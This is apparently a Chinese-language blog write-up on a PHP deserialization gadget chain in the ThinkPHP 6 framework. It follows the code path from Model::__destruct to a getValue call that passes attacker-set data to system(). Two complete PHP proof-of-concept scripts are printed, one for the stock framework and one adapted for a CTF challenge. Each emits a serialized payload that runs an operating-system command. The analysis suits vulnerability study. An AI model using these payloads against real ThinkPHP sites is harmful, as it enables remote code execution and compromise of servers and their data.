Analysis-of-utilization-chain-of-thinkphpV6-deserialization-pop

通常来说,我们挖掘pop链,首先需要寻找的是析构函数,因为在类对象被销毁的时候回自动的触发,其实根本还是因为这些魔法函数可以自动触发,那么对于我们的pop链的搭建就有很好的契机;

首先找到的一个析构函数在 /vendor/topthink/framework/src/think/Model.php中;在最后有一个析构函数;

1
2
3
4
5
6
7
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

这里我们只需要构造lazySave为true即可进入save函数;回溯一下save函数;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;

return true;
}

这里审计发现,如果 $this->isEmpty()和 false === $this->trigger(‘BeforeWrite’)有一个为真,那么就会直接进行return,从而跳出save函数,然后进行一个if 判断如果为真,则调用updateData函数,反之则调用insertData函数;我们敏感的代码就在此处;此处后面在做细说;

首先分析下isEmpty函数和trigger函数;

1
2
3
4
public function isEmpty(): bool
{
return empty($this->data);
}
1
2
3
4
5
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

所以这里只需要让data有值,并且$this->wighEvent为假,就可以绕过return函数,从而进入我们的敏感函数区域;

分析下updateData方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();

可以看到方法中调用了checkAllowFields方法;这个方法就是我们需要利用的方法,分析下;首先回调了trigger方法返回boolen类型,如果返回为假,那么直接return false直接跳出updataDate方法;反之则触发checkData方法进行数据的更新;然后通过getChangeData方法获取到更新的数据,然后再次进入一个判断,如果数据为空,则再次进入一个判断,判断relationWrite是否为空;如果不为空则调用autoRelationUpdate方法去关联更新,反之则返回true;然后再次进入一个if的判断,这是这次的判断没有return所以也就不用担心其会直接跳出这个updateData函数;也就是一定会执行我们下面的checkAllowFields方法;所以就不再分析它;

回到刚才,因为在data的地方有个判断取决于是否return;为了避免直接return;所以我们这里需要让data有值;所以这里我们需要回溯一下getChangedData方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}

return $data;
}

这里也比较好利用,可以直接强行赋值foce为true;然后使其返回data;然后return $data;这个问题解决之后;就会进入我们的敏感函数checkAllowFields中,这里分析下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

$field = $this->field;

if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}

if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}

return $field;
}

这里我们需要调用db方法,这里审计下代码;需要满足field为空并且让schema也为空;这时我们就可以进入db方法,然而db方法则是我们需要的方法;因为里面有一个字符得拼接过程,具体看下面db得代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function db($scope = []): Query
{
/** @var Query $query */
if ($this->queryInstance) {
$query = $this->queryInstance;
} else {
$query = $this->db->buildQuery($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
}

$query->model($this)
->json($this->json, $this->jsonAssoc)
->setFieldType(array_merge($this->schema, $this->jsonType));

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

// 软删除
if (property_exists($this, 'withTrashed') && !$this->withTrashed) {
$this->withNoTrashed($query);
}

// 全局作用域
if (is_array($scope)) {
$globalScope = array_diff($this->globalScope, $scope);
$query->scope($globalScope);
}

// 返回当前模型的数据库查询对象
return $query;
}

这里我们看到代码将name suffix变量进行了拼接,恰巧的是,这两个变量我们都是可以控制的;我们可以对其进行强行的赋值,从而达到我们的需求;

发现在拼接的前面还有一个buildQuery方法,要想触发拼接,首先得保证前面不报错的前提;我们回溯一下这个方法;

1
2
3
4
5
public function buildQuery($connection = [])
{
$connection = $this->instance($this->parseConfig($connection));
return $this->newQuery($connection);
}

简单审计下可以发现;buildQuery方法接收的参数是一个数组;然后经过了parseConfig方法处理,继续回溯一下parseConfig方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 数据库连接参数解析
* @access private
* @param mixed $config
* @return array
*/
private function parseConfig($config): array
{
if (empty($config)) {
$config = $this->config;
} elseif (is_string($config) && isset($this->config[$config])) {
// 支持读取配置参数
$config = $this->config[$config];
}

if (!is_array($config)) {
throw new DbException('database config error:' . $config);
}

return $config;
}

可以看到首先判断我们的参数是否为空,这里先然不为空,然后判断是否为字符形式,这里我们传入的是数组,显然不是字符形式,然后进入下面判断,是否为数组,如果不是数组的话,就会调用一个报错,然后显示错误;又因为我们之前分析过要进行字符串拼接从而达到调用__toString方法,前面的语句不能报错,所以这里我们传入数组之后可以完全的规避错误,最后返回数组形式;也就是我们传入数组然后return一下;没什么干扰;

经过这个方法之后,程序又调用了一个instance方法;回溯一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 取得数据库连接类实例
* @access public
* @param array $config 连接配置
* @param bool|string $name 连接标识 true 强制重新连接
* @return Connection
*/
public function instance(array $config = [], $name = false)
{
if (false === $name) {

$name = md5(serialize($config));
}

if (true === $name || !isset($this->instance[$name])) {

if (empty($config['type'])) {
throw new InvalidArgumentException('Undefined db type');
}

if (true === $name) {
$name = md5(serialize($config));
}

$this->instance[$name] = App::factory($config['type'], '\\think\\db\\connector\\', $config);
}

return $this->instance[$name];
}

首先接收到一个数组,然后$name默认为false;接着进行$name的赋值,赋值为md5的值;然后下面的if语句,接着下面继续if语句后面的isset成立;其目的就是经过一系列的操作将我们的$name加入到instance数组中;分析一下;首先判断我们最开始传入数组的type属性是否为空;如果为空,就调用报错;然后返回Undefined db type;接着因为$name为false;所以跳过再次md5的加密赋值;直接进入 $this->instance[$name] = App::factory($config['type'], '\\think\\db\\connector\\', $config);语句;这里明显是调用了App类下的factory方法;继续回溯一下;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 创建工厂对象实例
* @access public
* @param string $name 工厂类名
* @param string $namespace 默认命名空间
* @param array $args
* @return mixed
*/
public static function factory(string $name, string $namespace = '', ...$args)
{
$class = false !== strpos($name, '\\') ? $name : $namespace . ucwords($name);

if (class_exists($class)) {
return Container::getInstance()->invokeClass($class, $args);
}

throw new ClassNotFoundException('class not exists:' . $class, $class);
}

不难发现,一看就懂了;我们这个函数的第二个参数是命名空间;那么相应的 $this->instance[$name] = App::factory($config['type'], '\\think\\db\\connector\\', $config);这句代码中第二个参数也就是命名空间;那么为了不报错,那么自然是需要我们的string $name参量满足是在相应的命名空间下。那么回溯一下string $name参量的地方就是我们的$config[‘type’];已经很明显了,我们的type的值需要是在相应的命名空间下;而且看赋值语句,是将我们的$name参数最后赋值给$class;然后进入class_exists;所以可以推出$name需要是一个类,并且在相应的命名空间下;现在全局搜索下;

1
2
3
4
5
6
7
8
9
namespace think\db\connector;

use PDO;
use think\db\Connection;

/**
* mysql数据库驱动
*/
class Mysql extends Connection

只有Mysql在这个命名空间下;所以只可以选择Mysql;所以分析到此,那么我们传入的参数也就可以明了了,传入一个数组为”type”=>”Mysql”;即可达到不报错,然后可以顺利成章的进入字符串拼接;也就是

1
2
3
$query = $this->db->buildQuery($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

现在有目标触发__toString方法,这里全局搜索该方法;

在Conversion.php中发现可以利用的__toString方法;

1
2
3
4
public function __toString()
{
return $this->toJson();
}

这里进行追溯一下toJson方法;

1
2
3
4
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

发现调用了toArray方法,这里进行继续追踪;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public function toArray(): array
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) { ///这个函数无用,因为visible我们设置为空;所以直接跳过不分析;
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {//hidden也是为空,所以这也是跳过不分析;因为无用;
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);//这里进行数组的合并;可以赋值;赋值为数组$this->data=["s1mple"=>"ls"]

foreach ($data as $key => $val) {//检查是不是这两个类的实例;这里自然不是;所以跳过if进入elseif
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {//visible为空,所以跳过;
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {//关键函数;两个否都满足,所以进入getAttr方法;
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}

return $item;
}

经过我写在代码中的注释可以差不多理解,这里不再多说,直接追溯一下getAttr方法;

1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = true;
$value = null;
}

return $this->getValue($name, $value, $relation);
}

这里我们name就是我们之前的key,也就是我们赋值的s1mple;但是这个函数中有个getData方法;追溯一下;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

因为我们赋值为s1mple;这里getRealFieldName方法;因为strict默认为true;所以这里直接返回$name;所以这里默认不为空,所以$fieldName 就为s1mple;这里因为我们之前给data赋了值;所以注类key一定是存在的,并且也为s1mple;所以这里直接return我们的data;也就是ls;

所以最后return $this->getValue(s1mple,ls,false);继续顺溯getValue方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
protected function getValue(string $name, $value, bool $relation = false)
{///name=s1mple value =ls;
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);//默认strict为true;所以直接返回name:s1mple
$method = 'get' . App::parseName($name, 1) . 'Attr';//这里进行拼接gets1mpleAttr

if (isset($this->withAttr[$fieldName])) {//可控为["s1mple"=>"system"]
if ($relation) { //relation为flase所以这里直接跳过
$value = $this->getRelationValue($name);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];//$closure=system
$value = $closure($value, $this->data);//这里执行system('ls',$this->data);//data默认为空;
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationAttribute($name);
}

return $value;
}

放出POC;有一点是relation这个参数是否存在都是可以的,因为程序本身会给relation进行赋值,(boolen);因为我们的Model类是一个抽象的类,所以我们不可直接进行实例化,可以通过其子类继承,在子类实例化的时候抽象类也会被实力化;所以我们选用Pivot这个子类来进行new;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace think{
class Db{
}
}
namespace think\model\concern {
trait Conversion{
protected $visible;
}
trait Attribute{
private $withAttr;
private $data;
}
}
namespace think{
abstract class Model{
use model\concern\Conversion;
use model\concern\Attribute;
private $lazySave;
private $exists;
protected $name;
protected $db;
protected $connection;
function __construct($data,$obj)
{
$this->lazySave=true;
$this->exists=true;
$this->data=$data;
$this->db=$obj;
$this->relation = [];
$this->visible= [];
$this->name=$this;
$this->withAttr = array("s1mple"=>'system');
$this->connection = ["type"=>"mysql"];
}
}
}
namespace think\model{
class Pivot extends \think\Model{
public function __construct($data,$obj)
{
parent::__construct($data,$obj);
}
}
}
namespace{
$db = new think\Db();
$pivot2 = new think\model\Pivot(['s1mple'=>'dir'],$db);
echo urlencode(serialize($pivot2));
}


r9LCjg.png

分析完Thinkphp6的发序列化利用,来看一个安洵的题;也是基于thinkphp的反序列化利用;只是有一点不太一样,正版的thinkphp6-pop链的触发,是要进入db方法去进行name参数拼接,但是在除了db方法中拼接之外,还是可以在db方法下的table也是有个拼接,只是因为在当初thinkphp6中是先调用了db方法,所以之前直接走了db方法中的拼接;但是在安洵中,出题方去掉了db方法;很明显,是需要进行talbe进行拼接的;我们看下关键的地方代码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

$field = $this->field;

if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}

if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}

return $field;
}

很显然,这里去掉了原本的db方法,直接进行了table和suffix拼接;我们也可以从这里来进行调用__toString方法;除了这里不一样之外,其他的地方也是基本上一样的;所以这个题出出来差不多就是送分的节奏,我们只是需要稍微改下原本的poc;就可以直接进行攻击;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace think {
use think\model\concern\Attribute;
use think\model\concern\Conversion;
use think\model\concern\RelationShip;
abstract class Model
{
use model\concern\Conversion;
use model\concern\Attribute;

private $lazySave;
protected $table;
public function __construct($obj)
{
$this->lazySave = true;
$this->table = $obj;
$this->data = array("s1mple"=>'dir');
$this->withAttr = array("s1mple"=>"system");
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $visible=[];
}
trait Attribute
{
private $data;
private $withAttr;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace {
$a = new think\model\Pivot();
$b = new think\model\Pivot($a);
echo urlencode(serialize($b));
}

rPEJbR.png